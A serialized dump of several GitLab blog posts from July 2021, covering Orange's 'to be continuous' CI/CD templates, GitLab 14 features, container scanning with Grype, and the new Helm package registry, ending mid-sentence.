rip and replace to get started. Many customers began their GitLab journey with Source Code Management and CI. When they were ready, GitLab helped them to replace the rest of their DIY DevOps. When _you're_ ready, GitLab will work with you and GitLab's partner ecosystem to help you achieve your DevOps objectives on your schedule.\n\nJust like human cognitive development, DevOps has evolved thanks to combined experiences and new knowledge as it became available. I'm grateful to the innovators before us with the same goal: To make DevOps more efficient and collaborative.\n\n## Join us at GitLab Virtual Commit\n\nWant more DevOps? Tune in virtually at [GitLab Commit August 3-4, 2021](/events/commit/). Watch a video of the keynote address this blog post is based on:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://player.vimeo.com/video/582282482\" width=\"640\" height=\"360\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\u003C!-- blank line -->\n\n## Read more about the DevOps Platform:\n\n- [The journey to a DevOps Platform](/blog/the-journey-to-a-devops-platform/)\n\n- [How ten steps over ten years led to the DevOps Platform](/blog/how-ten-steps-over-ten-years-led-to-the-devops-platform/)\n\n- [Making the case for a DevOps platform: What data and customers say](/blog/making-the-case-for-a-devops-platform-what-data-and-customers-say/)\n\n- [Agile planning with a DevOps platform](/blog/agile-planning-with-a-devops-platform/)\n\n- [It's time to build more accessible software. A DevOps platform can help](/blog/how-the-devops-platform-makes-building-accessible-software-easier/)\n",[4103,736,676],{"slug":17807,"featured":6,"template":678},"welcome-to-the-devops-platform-era","content:en-us:blog:welcome-to-the-devops-platform-era.yml","Welcome To The Devops Platform Era","en-us/blog/welcome-to-the-devops-platform-era.yml","en-us/blog/welcome-to-the-devops-platform-era",{"_path":17813,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17814,"content":17820,"config":17826,"_id":17828,"_type":16,"title":17829,"_source":17,"_file":17830,"_stem":17831,"_extension":20},"/en-us/blog/how-orange-uses-gitlab-ci-cd-for-modern-devops",{"title":17815,"description":17816,"ogTitle":17815,"ogDescription":17816,"noIndex":6,"ogImage":17817,"ogUrl":17818,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17818,"schema":17819},"How Orange made a first step toward CI/CD standardization with GitLab","Find out how Orange made a first step toward CI/CD standardization with GitLab","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682084/Blog/Hero%20Images/oranges.jpg","https://about.gitlab.com/blog/how-orange-uses-gitlab-ci-cd-for-modern-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How Orange made a first step toward CI/CD standardization with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Pierre Smeyers\"}],\n        \"datePublished\": \"2021-07-29\",\n      }",{"title":17815,"description":17816,"authors":17821,"heroImage":17817,"date":17823,"body":17824,"category":813,"tags":17825},[17822],"Pierre Smeyers","2021-07-29","\n\nCI/CD is a foundational piece to modern software development. It's a major brick in the [DevOps](/topics/devops/) \"Automation\" pillar and every company involved in IT has to implement CI/CD or they're already quite far behind the curve.\n\nBut [implementing CI/CD](/topics/ci-cd/) can be challenging especially for growing or large companies. Some of those challenges include:\n\n* DevOps expertise and technical skills\n* [DevSecOps](/topics/devsecops/)\n* Standardization\n\n## Three key hurdles that come with implementing CI/CD\n\nThis blog post unpackes these challenges and explains how [Orange](https://orange.com/) overcame them using GitLab.\n\n### DevOps and technical skills\n\nNo matter which CI/CD tool you're using, it requires some amount of expertise to implement it right.\n\n**DevOps expertise** is important because your team needs some experience with Git workflows, deployment, environments, secrets management, etc. You can't ask a complete rookie to implement a state-of-the art DevOps pipeline without expertise or experience.\n\n**Technical skills** are also important for implementing CI/CD. Any professional can tell you that getting started tutorials are insufficient. We inevitably need advanced functions, and that requires knowing the tool pretty well. This is particularly true with GitLab CI/CD, which is a fantastic functionally rich tool. GitLab CI/CD is constantly evolving, which creates an ongoing burden for projects that want to integrate new tooling as they go.\n\n### DevSecOps\n\nDevOps is all about finding the right balance between shortening the cycle and maximizing your confidence.\n\n[DevSecOps tools](/solutions/security-compliance/) are a keystone in maximizing our confidence because they detect issues with things like security, code quality, and compliance, etc., almost instantly. But DevSecOps tools are evolving quickly and today's Docker container scanner tools can be replaced by newcomers in just a few months.\n\nAlso, having each development team in the company choose and integrate various DevSecOps tools doesn't make sense and will be a waste of time and resources. Going this route means most developers won't use any DevSecOps tool because the opportunity cost isn't worth the time and effort.\n\n### Standardization\n\nThe last challenge in implementing CI/CD at a large company is the lack of standardization.\n\nGitLab CI/CD - as with most other CI/CD tools - is mainly a sophisticated scheduler, allowing a team to define technical tasks and their sequence. GitLab CI/CD cares little about the nature of these tasks, and does not give any clues as to the \"right\" way to build a DevOps pipeline. The consequence of this is that every company, project team, and developer will implement a DevOps pipeline their own way, in a manner that is probably significantly different from their colleagues'.\n\nAs a lifelong Javaist, I like to compare the current situation in CI/CD with what was the Java build in the pre-Maven era. Back then, we used non-structuring tools such as [Make](https://en.wikipedia.org/wiki/Make_(software)) or [Apache Ant](https://en.wikipedia.org/wiki/Apache_Ant). Each project created its own build system, adopted its own conventions, code, and resource files structure. In short, it was a happy mess with everyone reinventing the wheel. When joining another project, a user had to ask: \"How does the build work here?\".\n\nIn 2004, Maven was released (and Gradle three years later). For a while, there were heated debates between the proponents of standardization and the defenders of expertise and customization. Today it would not occur to anyone to build a Java project with anything other than Maven or Gradle. Now, if I join a project developed in Java, I will immediately know how files are organized and how the project is built. Java build is now standardized.\n\nI believe that CI/CD ought to go a similar route: tools should offer a more opinionated framework so that CI/CD too becomes a non-topic.\n\n## How a single GitLab feature changed the game for Orange\n\nAt Orange - probably like many other companies involved in IT - we struggled with the three challenges summarized above.\n\nThen in January 2019, the [`include`](https://docs.gitlab.com/ee/ci/yaml/#include) feature was released in the [Community Edition (version 11.7) of GitLab](/releases/2019/01/22/gitlab-11-7-released/):\n\n```yaml\ninclude:\n  - project: a-path/to-some-project'\n    file: '/very-smart-template.yml'\n```\n\nThis feature finally gave us the ability to develop and share state-of-the-art GitLab CI/CD pipeline templates!\n\nSo that's what we did.\n\nFor two years, a handful of DevOps/security/languages/cloud experts developed ready-to-use GitLab CI/CD pipeline templates. This personal initiative quickly became recognized as an internal project, attracting more users and contributors, bringing the community to 1000+ members as of June 2021, and leveraging about 30 available templates. The visible effect of this increasing adoption is the beginning of a **CI/CD standardization at Orange**.\n\nWe were so happy with our results and convinced that it's a general need that we open sourced our templates under the name [\"to be continuous\"](https://to-be-continuous.gitlab.io/doc/).\n\n![To be continuous logo](https://about.gitlab.com/images/blogimages/orange_tbc.jpg){: .shadow}\nThe \"to be continuous\" logo.\n{: .note.text-center}\n\n### What is in *to be continuous*?\n\nFor now, *to be continuous* has 26 templates of six kinds:\n\n* **Build & Test**: Angular, Bash, Go, Gradle, Maven, MkDocs, Node.js, PHP, Python\n* **Code Analysis**: Gitleaks, SonarQube\n* **Packaging**: Docker\n* **Infrastructure** (IaC): Terraform\n* **Deploy & Run**: Ansible, Cloud Foundry, Google Cloud, Helm, Kubernetes, OpenShift, S3 (Simple Storage Service)\n* **Acceptance**: Cypress, Postman, Puppeteer, Robot Framework, SSL test, k6\n* **Others**: semantic-release\n\n*To be continuous* is thoroughly documented:\n\n* [Basic notions and philosophy](https://to-be-continuous.gitlab.io/doc/understand/)\n* [General usage principles](https://to-be-continuous.gitlab.io/doc/usage/)\n* How to use *to be continuous* in a [self-managed instance of GitLab](https://to-be-continuous.gitlab.io/doc/self-managed/basic/)\n* Every template also has [its own documentation](https://to-be-continuous.gitlab.io/doc/ref/angular/)\n\nTo get started quickly, *to be continuous* provides an [interactive configurer](https://to-be-continuous.gitlab.io/kicker/) (aka *\"kicker\"*) that allows generating the `.gitlab-ci.yml` file simply by selecting the technical characteristics of your project.\n\nFinally, *to be continuous* exposes several [example projects](https://gitlab.com/to-be-continuous/samples), illustrating how to use the templates in production-like projects, combining multiple templates.\n\n### A quick glance at *to be continuous*\n\nThere are tons of resources to get started with *to be continuous*. But here is a quick example to get the taste of it.\n\nHere is the `.gitlab-ci.yml` file for a project:\n\n* Developed in Java 11 (built with Maven)\n* Code analysis with SonarQube\n* Packaged as a Docker image\n* Deployed to Kubernetes cluster\n* GUI tests with Cypress\n* API tests with Postman (Newman)\n\n```yaml\ninclude:\n  # Maven template\n  - project: \"to-be-continuous/maven\"\n    ref: \"1.4.2\"\n    file: \"templates/gitlab-ci-maven.yml\"\n  # Docker template\n  - project: \"to-be-continuous/docker\"\n    ref: \"1.2.0\"\n    file: \"templates/gitlab-ci-docker.yml\"\n  # Kubernetes template\n  - project: \"to-be-continuous/kubernetes\"\n    ref: \"1.2.0\"\n    file: \"templates/gitlab-ci-k8s.yml\"\n  # Cypress template\n  - project: \"to-be-continuous/cypress\"\n    ref: \"1.2.0\"\n    file: \"templates/gitlab-ci-cypress.yml\"\n  # Postman template\n  - project: \"to-be-continuous/postman\"\n    ref: \"1.2.0\"\n    file: \"templates/gitlab-ci-postman.yml\"\n\n# Global variables\nvariables:\n  # Explicitly define the Maven + JDK version\n  MAVEN_IMAGE: \"maven:3.8-openjdk-11\"\n\n  # Enables SonarQube analysis (on sonarcloud.io)\n  SONAR_URL: \"https://sonarcloud.io\"\n  # organization & projectKey defined in pom.xml\n  # SONAR_AUTH_TOKEN defined as a secret CI/CD variable\n\n  # Kubernetes\n  K8S_KUBECTL_IMAGE: \"bitnami/kubectl:1.17\" # client version matching my cluster\n  K8S_URL: \"https://k8s-api.my.domain\" # Kubernetes Cluster API url\n  # K8S_CA_CERT & K8S_TOKEN defined as secret CI/CD variables\n  # enable review, staging & prod\n  K8S_REVIEW_SPACE: \"non-prod\"\n  K8S_STAGING_SPACE: \"non-prod\"\n  K8S_PROD_SPACE: \"prod\"\n\n  # Cypress & Postman: enable test on review aps\n  REVIEW_ENABLED: \"true\"\n\n# Pipeline steps\nstages:\n  - build\n  - test\n  - package-build\n  - package-test\n  - review\n  - staging\n  - deploy\n  - acceptance\n  - publish\n  - production\n  ```\n\nThis fully declarative file produces the following **development pipeline** (any feature branch):\n\n![Screenshot of development pipeline](https://about.gitlab.com/images/blogimages/orange_development_pipeline.jpg){: .shadow}\n\n... and the following **production pipeline** (`master` or `main` depending on your preferences):\n\n![Screenshot of production pipeline](https://about.gitlab.com/images/blogimages/orange_production_pipeline.jpg){: .shadow}\n\nAlthough they look pretty much the same, they aren't:\n\n* While the production pipeline privileges sureness and completeness, development pipelines privilege short cycles and developer experience. While code analysis jobs and acceptance tests are blocked in production, they only generate a non-blocking warning in development in case of failure.\n* The production pipeline deploys to the staging environment before deploying to production (provided acceptance tests are green). Development pipelines may deploy to a dynamically generated review environment (optional).\n* Developers may prefer to use a single integration environment (associated with the develop branch) instead of one review app per feature branch. The default behavior of the integration pipeline is much closer to the production one.\n\nWhat you can't see:\n\n* Java unit tests are automatically executed, their report is [integrated to GitLab](https://docs.gitlab.com/ee/ci/unit_test_reports.html), with [code coverage](https://docs.gitlab.com/ee/ci/yaml/#coverage) too.\n* SonarQube integration automatically uses [branch analysis](https://docs.sonarqube.org/latest/branches/overview/) or [MR analysis](https://docs.sonarqube.org/latest/analysis/pull-request/) (with MR decoration) depending on the context.\n* Kubernetes environments are obviously [integrated to GitLab](https://docs.gitlab.com/ee/ci/environments/) too.\n* [Review apps](https://docs.gitlab.com/ee/ci/review_apps/index.html) can be cleaned-up manually or automatically on branch deletion.\n* Cypress and Postman tests reports are also [integrated to GitLab](https://docs.gitlab.com/ee/ci/unit_test_reports.html).\n* Docker uses the Kaniko build by default but it might be configured to use Docker-in-Docker instead. It uses the GitLab registry by default but can be configured to use any other registry.\n* Each template integrates the most appropriate DevSecOps tools: [kube-score](https://kube-score.com/) for Kubernetes, [hadolint](https://github.com/hadolint/hadolint) for Docker, [OWASP Dependency-Check](https://jeremylong.github.io/DependencyCheck/) for Maven, among others.\n* All those templates combine themselves gracefully. For example, Kubernetes may simply deploy the Docker image built upstream; Cypress and Postman tests automatically test the application deployed in the upstream jobs; Kubernetes could be replaced with OpenShift, GCP or any other supported hosting technology, it would behave the same.\n\n## Contribute to *to be continuous*\n\n[to be continuous](https://to-be-continuous.gitlab.io/doc) is out and eagerly waiting for users and contributors.\n\nHave a look and share your feedback. Whether you like our choices or not, we want to hear from you. Your inputs are even more valuable to help us improve *to be continuous* and cover as many use cases as possible.\n\nBut anyway, never forget this: [`include`](https://docs.gitlab.com/ee/ci/yaml/#include) is undoubtedly the feature that makes CI/CD standardization possible in your company (and beyond).\n\nCover image by [Graphic Node](https://unsplash.com/@graphicnode) on [Unsplash](https://unsplash.com/photos/yi1YB_FubH8)\n{: .note}\n",[4103,815,1384],{"slug":17827,"featured":6,"template":678},"how-orange-uses-gitlab-ci-cd-for-modern-devops","content:en-us:blog:how-orange-uses-gitlab-ci-cd-for-modern-devops.yml","How Orange Uses Gitlab Ci Cd For Modern Devops","en-us/blog/how-orange-uses-gitlab-ci-cd-for-modern-devops.yml","en-us/blog/how-orange-uses-gitlab-ci-cd-for-modern-devops",{"_path":17833,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17834,"content":17840,"config":17844,"_id":17846,"_type":16,"title":17847,"_source":17,"_file":17848,"_stem":17849,"_extension":20},"/en-us/blog/velocity-with-confidence",{"title":17835,"description":17836,"ogTitle":17835,"ogDescription":17836,"noIndex":6,"ogImage":17837,"ogUrl":17838,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17838,"schema":17839},"How GitLab 14 satisfies the need for speed with modern DevOps","GitLab 14: Ship with velocity, ship with confidence","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682089/Blog/Hero%20Images/racecar_devops.jpg","https://about.gitlab.com/blog/velocity-with-confidence","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab 14 satisfies the need for speed with modern DevOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Parker Ennis\"}],\n        \"datePublished\": \"2021-07-29\",\n      }",{"title":17835,"description":17836,"authors":17841,"heroImage":17837,"date":17823,"body":17842,"category":734,"tags":17843},[17291],"\n\n## How DevOps and NFS changed the game\n\nWhat if I told you that one of the best-selling racing video game franchises of all time, the \"Need For Speed\" (NFS), and DevOps have more in common with each other than you think? Yes, you read that correctly, probably not the NFS (Network File System) you were expecting.\n\n### An appetite for change\n\nFor context, the NFS series originally set out to redefine a saturated, yet unsophisticated, racing video game market. Motivated by an appetite for change, the NFS user experience reflected the human connection to real cars and how they behaved, which was a big challenge for developers in the 1990s. Nearly 30 years ago, \"The Need for Speed\" forever changed the landscape of racing games, selling 150 million copies since its debut.\n\n![The original Need For Speed game from 1994](https://about.gitlab.com/images/blogimages/need_for_speed.png){: .shadow.center}\nThe original Need For Speed video game set a new standard with an appetite for industry change.\n{: .note.text-center}\n\nCoincidentally, it was in 1994 that Grady Booch coined the term \"continuous integration\" (CI). Booch, like NFS, paved the way for immense industry growth in the realm of software development. CI aimed to redefine the manual, time-consuming development processes that paid little mind to how real humans and developers behaved and collaborated around application development by [leveraging automation to increase development speed without sacrificing quality](/topics/ci-cd/benefits-continuous-integration/).\n\nSimilar to how NFS took the racing scene by storm and laid the groundwork for the racing game genre, CI evolved into what is arguably the most important piece of DevOps best practices today: Continuous integration and continuous delivery (CI/CD).\n\nDevOps continues to evolve, but without CI/CD, DevOps isn't the collaborative practice that helps teams work faster and more efficiently. CI/CD is a super power within DevOps – unlocking the potential to ship apps with increased velocity and confidence in their quality, without having to choose one or the other.\n\n### DIY DevOps vs Modern DevOps\n\nToday, it doesn't matter what your business does, it's going to involve some amount of using and building software. DevOps gained traction in the age of digital transformation, where the rate of technical innovation acted as a forcing function for companies to fail or survive. Over the past 10 years or so, organizations had a choice to either embrace this \"need for speed\" and adopt DevOps practices, or be displaced by their competition.\n\nThis scramble led to a \"DIY\" style of DevOps that couldn't deliver on its promises much of the time. For many organizations, the biggest problem wasn't just the brittle toolchains composed of disparate pieces of software but also trying to make these complicated toolchains and processes benefit from DevOps. Since uprooting everything wasn't an option, the root of the problem was still there, and DevOps was hard to adopt.\n\nFor all the teams DevOps has helped, the DevOps marketplace must continuously improve and evolve as we learn more about the challenges of modernizing workflows. DevOps must modernize alongside businesses to ensure it's an accessible and realistic framework for as many companies as possible to leverage.\n\n### GitLab 14 fuels the modern DevOps need for speed\n\nWith a platform-driven approach, [GitLab 14](/releases/2021/06/22/gitlab-14-0-released/) delivers a consistent and efficient developer and operator experience that leads to a simplified and more predictable SDLC. A single user interface, embedded security, and a unified data store are just some of the features of a platform any company can use without the tradeoffs of the DIY DevOps past. By using one tool for source code management, CI, and CD, teams are more efficient and productive with streamlined collaboration. Engineers are happier when focused on value-add than when maintaining integrations – and happy developers help attract and retain talent.\n\n[GitLab 14](/gitlab-14/) ushers in a new era of modern DevOps as a global movement, and I'm excited to talk a little bit about some of its capabilities that help you ship software faster, with a higher degree of confidence, and improve your ability to respond to market changes.\n\n### Ship with velocity and confidence\n\n**1. [GitLab pipeline editor](/releases/2021/01/22/gitlab-13-8-released/#pipeline-editor)**\n\nCrafting pipelines can be complicated and verbose without an understanding of advanced pipeline syntax and how it fits within the workflow using the '.gitlab-ci.yml' configuration file. Needing to craft pipelines from scratch presents a steeper learning curve for organizations and teams with a less mature DevOps culture. The GitLab pipeline editor lowers the barrier to entry for CI/CD novices and accelerates power users with visual authoring and versioning, continuous validation, and pipeline visualization. Whether you're a more advanced user or novice, the pipeline editor unlocks additional power and usability.\n\n![Pipeline editor linting capability makes pipeline authoring easier](https://about.gitlab.com/images/blogimages/lint_ci.png){: .shadow.center}\nPipeline editor linting capability makes pipeline authoring easier and more efficient.\n{: .note.text-center}\n\nHere's what some of our wider community is saying about the pipeline editor:\n\n> \"I really like the direction of making CI/CD more accessible to first-time users and how GitLab rolls out this feature piece by piece.\" - Bernhard Knasmüller, computer scientist\n\n> \"This is going to improve the CI/CD configuration experience greatly!\" - Olivier Jourdan, developer\n\n**2. [GitLab Agent for Kubernetes](https://youtu.be/17O_ARVaRGo)**\n\nThe GitLab Agent for Kubernetes enables secure, cloud-native [GitOps](/solutions/gitops/). GitLab also meets customers where they are by supporting GitOps with agent-based and agentless approaches, and for deployments anywhere, regardless of whether infrastructure is cloud-native. It also enables alerts based on network policies for pull-based deployments.\n\nHere's piece of feedback from the wider GitLab community on the Kubernetes Agent:\n\n> \"GitLab is leading the evolution of DevOps by optimising work efficiency and cloud-native integration capabilities. This enables the rapid delivery of digital value.\" - Vasanth Kandaswamy, Head of Data and Applications Portfolio, Fujitsu Australia\n\nWe look forward to iterating and improving these capabilities and always [welcome your feedback](/submit-feedback/#product-feedback) on our product.\n\n### What's next?\n\nOne thing is for sure: **people want to go fast,** but not when it requires sacrificing peace of mind and quality. We're committed to helping you ship with velocity and confidence by [investing in specific product areas](/direction/#fy22-product-investment-themes) to bring the benefits of modern DevOps to anyone using GitLab to deliver their applications.\n\n![Go fast with confidence](https://about.gitlab.com/images/blogimages/gofast.gif){: .shadow.center}\nEven Ricky Bobby from Talledega Nights agrees. People just want to go fast!\n{: .note.text-center}\n\nWe'll continue executing on our [vision for CI/CD](https://gitlab.com/groups/gitlab-org/-/epics/4534) to create a visual pipeline authoring experience built right into GitLab that simplifies the complexity, letting you quickly create and edit pipelines while still exposing advanced options when you need them.\n\nWe're also committed to making sure you can deploy anytime and anywhere to take advantage of the benefits of Kubernetes, no matter where you are at on your cloud native development journey. If you have feedback or suggestions on what we can do better, please [let us know in our product epic.](https://gitlab.com/groups/gitlab-org/-/epics/3329)\n\nWe look forward to delivering you more value as we iterate upon this new era of GitLab 14 going foward and can't wait to see the great things you're creating with Gitlab.\n\n_This blog is part three in a three-part series on the top capabilities of GitLab 14. Learn more about [how GitLab 14 prepares you for DevSecOps 2.0 in part one](/blog/are-you-ready-for-the-newest-era-of-devsecops/), and about [how to optimize DevOps with GitLab 14's enhanced visibility tools in part two](/blog/optimizing-devops-visibility-in-gitlab-14/)._\n\nCover image by [CHUTTERSNAP](https://unsplash.com/@chuttersnapk) on [Unsplash](https://unsplash.com/photos/5Yo1P9ErikM)\n{: .note}\n",[4103,676,1384,1385,534],{"slug":17845,"featured":6,"template":678},"velocity-with-confidence","content:en-us:blog:velocity-with-confidence.yml","Velocity With Confidence","en-us/blog/velocity-with-confidence.yml","en-us/blog/velocity-with-confidence",{"_path":17851,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17852,"content":17858,"config":17864,"_id":17866,"_type":16,"title":17867,"_source":17,"_file":17868,"_stem":17869,"_extension":20},"/en-us/blog/secure-container-images-with-gitlab-and-grype",{"title":17853,"description":17854,"ogTitle":17853,"ogDescription":17854,"noIndex":6,"ogImage":17855,"ogUrl":17856,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17856,"schema":17857},"How to secure your container images with GitLab and Grype","Learn how to start detecting vulnerabilities in your container images in just a few steps.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671873/Blog/Hero%20Images/logos_header.jpg","https://about.gitlab.com/blog/secure-container-images-with-gitlab-and-grype","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to secure your container images with GitLab and Grype\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dan Luhring\"}],\n        \"datePublished\": \"2021-07-28\",\n      }",{"title":17853,"description":17854,"authors":17859,"heroImage":17855,"date":17861,"body":17862,"category":734,"tags":17863},[17860],"Dan Luhring","2021-07-28","> Support for the Grype scanner in the GitLab Container Scanning analyzer is being deprecated in GitLab 16.9 and will be removed in GitLab 17.0. Users are advised to use the default setting for `CS_ANALYZER_IMAGE`, which uses the Trivy scanner. Users who desire to continue using Grype can use the [Security Scanner Integration\ndocumentation](https://docs.gitlab.com/ee/development/integrations/secure.html) to create their own integration with GitLab.\n\n## The importance of container image security\n\nThanks to containers, what it means to \"ship software\" has changed dramatically. Engineering teams have shifted to produce container images and use these container images to deploy their software. Because of this change teams are now shipping significantly more software alongside their app – whether they realize it or not.\n\nBesides packaging an application, container images also include hundreds of binaries and libraries. These binaries and libraries are included in the container image produced by the team because the process of creating a container image requires teams to select a base image. A base image is a preexisting container image on which to \"base\" their own container image. In doing so, all software contained in the base image is inherited into the team's new image.\n\nThe shift to containers has a monumental impact on security. Now, anyone that deploys your team's container image could be deploying software with known vulnerabilities. Similarly, other teams that base their container images on your team's image will inherit any vulnerabilities present in your team's image. It's crucial that teams have a solution in place for detecting these vulnerabilities in the container images they're using.\n\n## Container Scanning with Grype\n\nFortunately, GitLab 14.0 offers a new way for teams to tackle this challenge: [Grype](https://github.com/anchore/grype). Anchore developed this state-of-the-art vulnerability scanner, which is now available as part of GitLab's Container Scanning feature.\n\nGrype is an advanced vulnerability scanner because it performs deep inspection of the software installed in a container image, and it uses this detailed information to produce better matches with vulnerability data.\n\nGrype is a particularly powerful tool for security-minded engineers to investigate and remediate findings because it gives comprehensive information in the vulnerability analysis, showing exactly how the tool determined vulnerability _X_ matched software package _Y_. Grype provides the transparency and detail necessary for any reported vulnerability to investigate why the image vulnerability is being reported. Some examples of what Grype can identify include: The exact image layer and file path where a package is installed, the source of the vulnerability data, available patches, and which parameters of the vulnerability record matched attributes of the package, among other things.\n\n\"We are excited to embed these very robust container scanning features of Grype within the GitLab DevOps platform,\" says [Sam White](/company/team/#sam.white), senior product manager of Protect at GitLab. \"Our built-in security enables DevOps velocity with confidence and these added features brings even greater security for cloud native applications.\"\n\n## Get started with Grype and GitLab\n\nFollow these steps to get set up GitLab's integration with Grype.\n\n### What you'll need:\n\n- [GitLab Ultimate](/pricing/ultimate/)\n- Access to an image in a container registry (such as the container registry in your GitLab project)\n- Ensure your CI/CD pipeline meets all of the [requirements](https://docs.gitlab.com/ee/user/application_security/container_scanning/index.html#requirements) for Container Scanning.\n\n### How to start scanning with Grype\n\nTo get started, just add the following snippet to your project's `.gitlab-ci.yml` file:\n\n```yaml\ninclude:\n  - template: Security/Container-Scanning.gitlab-ci.yml\n\ncontainer_scanning:\n  variables:\n    CS_ANALYZER_IMAGE: registry.gitlab.com/security-products/container-scanning/grype:4\n```\n\nBy default, the Container Scanning analyzer makes some assumptions about your target container image's URL and tag. You can have the scanner analyze any container image you want — you just need to specify [additional variables](https://docs.gitlab.com/ee/user/application_security/container_scanning/index.html#available-cicd-variables) in the \"container_scanning\" section of your `.gitlab-ci.yml` file. This set of variables also lets you configure registry credentials, custom CA certificates, whether to validate certificates, etc.\n\n## Viewing vulnerability analysis results\n\nOnce your first Container Scanning job completes, you can see what vulnerabilities have been reported. Just go to the \"Security & Compliance\" left-side menu and select \"Vulnerability Report\".\n\n![GitLab Security and Compliance Menu](https://about.gitlab.com/images/blogimages/anchore_blog_images/gitlab-security-menu.jpg){: .shadow}\nNavigate to \"Vulnerability report\" under the \"Security and Compliance\" menu.\n{: .note.text-center}\n\nFor example, here's what your vulnerability report could look like:\n\n![Sample vulnerability report](https://about.gitlab.com/images/blogimages/anchore_blog_images/gitlab-vulnerability-report.jpg){: .shadow}\nSee a sample Vulnerability Report\n{: .note.text-center}\n\nYou'll notice that the Vulnerability Report page gives you an immediate sense of the severities of the vulnerabilities.Even if there is a large number of vulnerabilities, you can quickly filter the list and dive deeper into any single vulnerability.\n\n## Final thoughts\n\nAdding Container Scanning with Grype to your GitLab pipeline is a straightforward process. With just a small snippet of YAML and some optional configuration, you can add tremendous visibility into the security of your team's container images.\n\nRead on to learn more about the [Container Scanning feature with GitLab](https://docs.gitlab.com/ee/user/application_security/container_scanning/index.html).\n\nLastly, make sure to check out the [Grype project](https://github.com/anchore/grype). We have an active open source community and make improvements all the time. If you have any questions or feature requests, don't hesitate to [open an issue](https://github.com/anchore/grype/issues/new/choose) or join our [community Slack](https://anchore.com/slack).",[4103,674,4103],{"slug":17865,"featured":6,"template":678},"secure-container-images-with-gitlab-and-grype","content:en-us:blog:secure-container-images-with-gitlab-and-grype.yml","Secure Container Images With Gitlab And Grype","en-us/blog/secure-container-images-with-gitlab-and-grype.yml","en-us/blog/secure-container-images-with-gitlab-and-grype",{"_path":17871,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17872,"content":17877,"config":17882,"_id":17884,"_type":16,"title":17885,"_source":17,"_file":17886,"_stem":17887,"_extension":20},"/en-us/blog/gitlab-helm-package-registry",{"title":17873,"description":17874,"ogTitle":17873,"ogDescription":17874,"noIndex":6,"ogImage":12013,"ogUrl":17875,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17875,"schema":17876},"Introducing the GitLab Helm Package Registry","Develop and deploy cloud native applications with a built-in Helm registry.","https://about.gitlab.com/blog/gitlab-helm-package-registry","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing the GitLab Helm Package Registry\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Chia\"}],\n        \"datePublished\": \"2021-07-26\",\n      }",{"title":17873,"description":17874,"authors":17878,"heroImage":12013,"date":17879,"body":17880,"category":736,"tags":17881},[16962],"2021-07-26","\n\nCloud native application architectures use containerization, microservices, and Kubernetes to run reliably at cloud-scale. With a built-in container registry and Kubernetes integration, GitLab is the best way to develop and deploy cloud native applications. [GitLab version 14.1](/releases/2021/07/22/gitlab-14-1-released/) also includes a Helm registry, which allows users to publish, install, and share Helm charts and packages from within our single application for the entire DevOps lifecycle.\n\n### What is Helm?\n\nHelm is a package manager for Kubernetes. A Chart is a Helm package that contains the resource definitions required to run an application inside a Kubernetes cluster. Helm allows you to manage complex applications by storing the application definition in a chart that can be versioned, shared, and collaborated on.\n\n### The differences between Helm Registry and Git\n\nWhy not simply store your Helm charts in a Git repository? After all, charts are YAML files that can be stored, versioned, and collaborated on like code.\n\nFor small projects and simple applications, it can be convenient to store the Helm chart in the same Git repository as the application code. However, this method starts to become unruly as the code scales. Applying this model with microservices architecture means you'd have many different charts spread out across many different repositories. Cluster-wide upgrades would certainly be a challenge. And sharing charts with other teams would require you to also grant permission to the code repository.\n\n### Comparing Helm registry and container registry\n\nAnother option for storing Helm charts is to use an OCI registry, like the GitLab Container Registry. However, this feature is new to Helm 3 and requires running Helm in experimental mode. Many organizations, especially those in highly regulated environments, prefer not to expose themselves to the additional risk of an experimental feature.\n\n### A built-in, dedicated Helm registry\n\nA Helm registry offers a centralized repository to store and share charts so large organizations can manage many complex applications in a controlled manner. The main benefits of having a dedicated registry are the security, efficiency, and reliability.\n\nWhen it comes to security, having all of the charts in one central location means they can be [systematically scanned for vulnerabilities](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks). This is much more difficult to manage if your charts are stored in multiple locations. Similarly, user account and permission management is much easier to manage from a single location.\n\nA central registry also makes it much easier to distribute charts throughout your organization. Large organizations will often have a center of excellence that is responsible for creating, maintaining, and distributing charts to many different teams throughout the organization. Enabling a safe way to share charts and control access is critical.\n\nGitLab users can host all Helm charts from one central project, allowing users to control user access with SSO/SAML and authorization with deploy tokens, job tokens, or personal access tokens. Not to mention, the GitLab.com Package stage is 99.95% available.\n\n### How to get started\n\nThe new Helm Registry is currently at \"viable\" maturity. We do not recommended using it for production but it can be used for testing and planning. Visit the [Helm Repository docs](https://docs.gitlab.com/ee/user/packages/helm_repository/) for step-by-step commands to authenticate the registry and publish and install packages.\n\n### Contribute to the Helm Registry\n\nThe first iteration of the Helm registry was contributed to GitLab by community member [Mathieu Parent](https://gitlab.com/sathieu). We'd love your input and feedback and we continue to improve and mature the Helm registry capabilities. This [GitLab Epic outlines the path to make the Helm chart registry complete](https://gitlab.com/groups/gitlab-org/-/epics/6366). Comment in the epic and associated issues with your thoughts and feedback. As always, [code contributions](/community/contribute/development/) are 